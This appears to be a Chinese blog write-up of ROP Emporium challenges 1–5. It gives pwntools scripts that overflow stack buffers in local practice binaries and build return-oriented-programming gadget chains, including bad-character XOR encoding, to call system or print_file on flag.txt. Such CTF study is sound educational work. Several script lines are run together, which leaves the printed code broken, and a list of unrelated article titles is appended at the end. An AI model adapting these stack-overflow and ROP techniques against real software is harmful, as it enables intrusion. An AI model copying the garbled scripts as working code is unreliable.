题目地址rop emporium

1.ret2win(x86-32)

from pwn import *
p = process('./ret2win32')
ret2win_addr = 0x804862c#system("/bin/cat flag.txt")
payload = b'a'*(0x28+0x4)+p32(ret2win_addr)
p.send(payload)
p.recv()

1.ret2win(x86-64)

from pwn import *
p = process('./ret2win')
ret2win_addr = 0x400756
payload = b'a'*0x28 + p64(ret2win_addr)
p.send(payload)
p.recv()

2.split(x86-32)

from pwn import *
p = process('./split32')
string_addr = 0x804A030#/bin/cat flag.txt
#system_addr = 0x80483e0#system@plt
#payload = b'a'*0x2c+p32(system_addr)+p32(0)+p32(string_addr)
system_addr = 0x804861a#call system
payload = b'a'*0x2c+p32(system_addr)+p32(string_addr)
p.send(payload)
p.recv()

返回地址可以用system@plt的地址,p32(0)是新的返回地址。也可以用call system的地址,用这个就不用填充4字节,因为call有一个返回地址压栈操作

2.split(x86-64)

from pwn import *
p = process('./split')
string_addr = 0x601060#/bin/cat flag.txt
system_addr = 0x400560#addr of system@plt
pop_rdi_addr = 0x4007c3
payload = b'a'*0x28+p64(pop_rdi_addr)+p64(string_addr)+p64(system_addr)
p.send(payload)
p.recv()
p.recv()

3.callme(x86-32)

from pwn import *
p = process('./callme32')
callmeone_addr = 0x80484f0
callmetwo_addr = 0x8048550
callmethree_addr = 0x80484e0
para1 = 0xdeadbeef
para2 = 0xcafebabe
para3 = 0xd00df00d
pop_pop_pop_ret = 0x80487f9
add_pop_ret = 0x80484aa
payload = b'a'*44+p32(callmeone_addr)+p32(pop_pop_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
payload += p32(callmetwo_addr)+p32(add_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
payload += p32(callmethree_addr)+p32(add_pop_ret)
payload += p32(para1)+p32(para2)+p32(para3)
p.send(payload)
p.recv()

两个gadget是用来平衡堆栈的,效果都一样,我就都试试了

3.callme(x86-64)

from pwn import *
p = process('./callme')
callme1_addr = 0x400720
callme2_addr = 0x400740
callme3_addr = 0x4006f0para1 = 0xdeadbeefdeadbeef
para2 = 0xcafebabecafebabe
para3 = 0xd00df00dd00df00d
pop_rdi_ret = 0x4009a3
pop_rsi_rdx_ret = 0x40093dpayload = b''
payload += b'a'*0x28
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme1_addr)
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme2_addr)
payload += p64(pop_rdi_ret)+p64(para1)+p64(pop_rsi_rdx_ret)+p64(para2)+p64(para3)+p64(callme3_addr)
p.send(payload)
p.recv()

4.write4(x86-32)

from pwn import *
p = process('./write432')
printfile_addr = 0x80483d0
mov_ret = 0x8048543#mov dword ptr[edi],ebp;ret
pop_pop_ret = 0x80485aa#pop edi;pop ebp;ret
write_addr = 0x804a018#WApayload = b'a'*0x2c
payload += p32(pop_pop_ret)+p32(write_addr)+b'flag'
payload += p32(mov_ret)+p32(pop_pop_ret)+p32(write_addr+4)+b'.txt'
payload += p32(mov_ret)
payload += p32(printfile_addr)+p32(0)+p32(write_addr)
p.send(payload)
p.recv()

4.write4(x86-64)

from pwn import *
p = process('./write4')
write_addr = 0x601028
mov_ret = 0x400628#mov qword ptr[r14],r15;ret
pop_pop_ret = 0x400690#pop r14;pop r15;ret
pop_ret = 0x400693#pop rdi;ret
printfile_addr = 0x400510
payload = b'a'*0x28
payload += p64(pop_pop_ret)+p64(write_addr)+b'flag.txt'
payload += p64(mov_ret) + p64(pop_ret) + p64(write_addr)
payload += p64(printfile_addr)
p.send(payload)
p.recv()

没有字符串就写一个,可以利用mov指令往内存里写,找一个有写权限的地址,还有不要影响到程序正常运行,我用的data段,注意要加上\x00截断符,我这里再往后面写四字节0反而错了,后面应该就有。还有一种姿势是调用gets函数写,但要题目有一个字符串可以写

5.badchars(x86-32)

from pwn import *
p = process('./badchars32')
printfile_addr = 0x080483d0
mov_ret = 0x0804854f#mov dword ptr [edi] , esi ; ret
pop_pop_pop_pop_ret = 0x080485b8#pop ebx;pop esi;pop edi;pop ebp;ret
pop_pop_pop_ret = 0x080485b9#pop esi;pop edi;pop ebp;ret
xor_ret = 0x08048547#xor byte ptr[ebp],bl ; ret
write_addr = 0x0804a018
pop_ret = 0x080485bb#pop ebp ; ret
pop_ebx_ret = 0x0804839d#pop ebx ;retbadchars = ['0x78','0x67','0x61','0x2e']
payload = b'b'*0x2c+p32(pop_pop_pop_pop_ret)+p32(32)+b'flAG'+p32(write_addr)+p32(write_addr+2)+p32(mov_ret)
payload += p32(pop_pop_pop_ret)+b'\x0etXt'+p32(write_addr+4)+p32(write_addr+2)
payload += p32(mov_ret)
payload += p32(xor_ret) + p32(pop_ret) + p32(write_addr+3) + p32(xor_ret)
payload += p32(pop_ret) + p32(write_addr+4) + p32(xor_ret)
payload += p32(pop_ret) + p32(write_addr+6) + p32(xor_ret)
payload += p32(printfile_addr)+p32(0)+p32(write_addr)p.send(payload)
p.recv()

比较乱,思路就是碰到有badchars给它加密一下,题目提示用异或,用之前再解密一下就可以,它这里是对每个字节都判断的,好在运气没有那么长,地址里都没有出现过滤字节,主要是flag.txt,这里我用32异或方便一点。

5.badchars(x86-64)

from pwn import *
p = process('./badchars')
write_addr = 0x60102f#0x601028-0x601038(+0 +3 +4 +6 ! 0x2e)
func_addr = 0x400510#print_file
badchars = [0x78,0x67,0x2e,0x61]mov_ret = 0x400634#mov qword ptr[r13],r12;ret
pop_r12_r13_r14_r15_ret = 0x40069c
pop_r15_ret = 0x4006a2
pop_rdi_ret = 0x4006a3
xor_ret = 0x400628#xor byte ptr [r15],r14b;ret
pop_r14_r15_ret = 0x4006a0
add_ret = 0x40062c#add byte ptr [r15],r14b;retpayload = b'b'*0x28+p64(pop_r12_r13_r14_r15_ret)+b'flAG\x0etXt'
payload += p64(write_addr)+p64(32)+p64(write_addr+2)
payload += p64(mov_ret)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+3)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+4)+p64(xor_ret)
payload += p64(pop_r15_ret)+p64(write_addr+6)+p64(xor_ret)payload += p64(pop_rdi_ret)+p64(write_addr)
payload += p64(func_addr)p.send(payload)p.recv()

一开始write_addr用data段的开始位置,发现flag.tXt的X没有被异或也就是write_addr+6,因为刚好这个有0x2e,所以我先想通过add指令之类的改寄存器,找来找去没有好的gadget,就算了。这里就换个地址,给它避免掉,data段还蛮大的,下面还有bss段。

ROP Emporium做题记录Challenge1-5(x86)相关推荐

  1. 概率期望题(期望 DP)做题记录

    概率期望题(期望 DP)做题记录 P3830 [SHOI2012]随机树 难点在于第二问:生成树的期望深度. 不 wei zhuo 捏,设 \(dp_{i,j}\) 表示已经有了 \(i\) 个叶子结 ...

  2. 数数题(计数类 DP)做题记录

    数数题(计数类 DP)做题记录 CF1657E Star MST 我们称张无向完全图是美丽的当且仅当:所有和 \(1\) 相连的边的边权之和等于这张完全图的最小生成树的边权之和. 完全图点数为 \(n ...

  3. CSDN 第六期编程竞赛做题记录

    CSDN 第六期编程竞赛做题记录 -- CSDN编程竞赛报名地址:https://edu.csdn.net/contest/detail/16 9.18周日闲来无视写一下 csdn 的编程题,每期编程 ...

  4. 退役前的做题记录5.0

    退役前的做题记录5.0 出于某种原因新开了一篇. [CodeChef]Querying on a Grid 对序列建立分治结构,每次处理\((l,mid,r)\)时,以\(mid\)为源点建立最短路树 ...

  5. Regional 做题记录 (50/50)

    写在前面 博主深感自己太弱了QAQ 于是有了一个刷水的想法,Regional的题目还是有很多考查思维的题目,所以这次是乱做50道思考题,可能会顺带做一些水题,这些题的简要题解会写到这篇博文里面,希望能 ...

  6. 2020.7月做题记录

    转眼就到了2020的下半年了-前方仍是一片茫然. 长期计划 prufer 序列 2020.07.02-2020.07.04 Problem Finished P2624 [HNOI2008]明明的烦恼 ...

  7. 退役前的做题记录1.0

    退役前的做题记录1.0 租酥雨最近很懒qwq,具体表现在写题的时候不想发题解了. 但是想想这样也不太好,就决定发个一句话(半句话到几句话不等)题解上来. 2018-09.18-2018-09.28 [ ...

  8. 【Pikachu】漏洞练习平台做题记录+原理解析(2.2)XSS姿势和技巧

    前言 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞. 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意. pikach ...

  9. 退役前的做题记录2.0

    退役前的做题记录2.0 最近在刷省选题......大致上是按照省份刷的. 不过上面的题目顺序是按照写题的顺序排列的,所以可能会有点乱哈. [BZOJ2823][AHOI2012]信号塔 最小圆覆盖,随 ...

最新文章

  1. 易扩展的SLAM框架-OpenVSLAM
  2. 在Ubuntu 16.04.6 LTS上升级python 3.5到3.7.3实录
  3. ELK环境搭建及client配置
  4. android IntentService生命周期问题
  5. Mysql安装注意问题
  6. 机器视觉烟包行业质量检测解决方案
  7. 带前端脚本的html页面,2.从头学前端之如何在html中使用javascript
  8. 多径瑞利信道的一种matlab产生方法
  9. 刑法中关于计算机犯罪的定义,界定计算机犯罪概念的原则
  10. 微信小程序开发者工具获取不到坐标
  11. android软件开发 开题报告,基于Android手机app开发与设计 毕业设计 开题报告
  12. Silvaco TCAD仿真3——DeckBuild
  13. 抖音表情包项目怎么变现?普通人如何利用表情包短视频月入过万?
  14. mysql 历史数据迁移,MySQL 历史数据表迁移方法
  15. 十年阿里P6大牛谈外包!
  16. DataStream API
  17. 随机过程的概念与基本类型
  18. 继FCoin后的下一轮浪潮 —— 去中心化交易所的逆风翻盘
  19. c语言优秀教案,C语言优秀教案.doc
  20. 企业数字化转型和升级:架构设计方法与实践

热门文章

  1. TCP/IP协议栈Lwip的设计与实现:之一
  2. chromebook刷机_Chromebook正在获得更好的家长控制
  3. ubuntu、win跨平台局域网文件传输工具
  4. 路由虚拟端口配置dhcp服务器,h3c 路由器 设置dhcp服务器配置
  5. 卡巴斯基网络版客户端安装步骤
  6. demoireing
  7. 美服测试服无法连接验证服务器,美服1.10 test服务器开了,我的一些测试心得
  8. taro图片上加图片 taro引入背景图语法
  9. matlab shogun,在Windows下为Matlab编译Shogun工具箱
  10. 【感悟】在工作中勇于走出舒适圈